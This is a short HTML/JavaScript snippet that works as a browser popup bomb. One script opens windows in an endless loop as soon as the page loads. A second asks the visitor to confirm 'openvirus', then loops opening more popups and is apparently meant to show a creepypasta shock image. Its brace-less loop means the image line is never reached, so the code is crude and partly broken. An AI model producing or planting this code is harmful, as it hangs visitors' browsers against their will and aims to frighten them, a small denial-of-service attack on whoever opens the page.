END
<script>while(true)window.open('aaa', null, 'width=500,height=500');</script>
<script>
var result = window.confirm("openvirus")
if (result) {
while(true)
window.open('', null, 'width=500,height=500');
window.open('https://static.wikia.nocookie.net/creepypasta/images/a/ad/Jeff_Killer.jpg/revision/latest/scale-to-width-down/753?cb=20131230014931&path-prefix=ja', null, 'width=500,height=500');
} else {
window.open('no', null, 'width=500,height=500');
}
</script>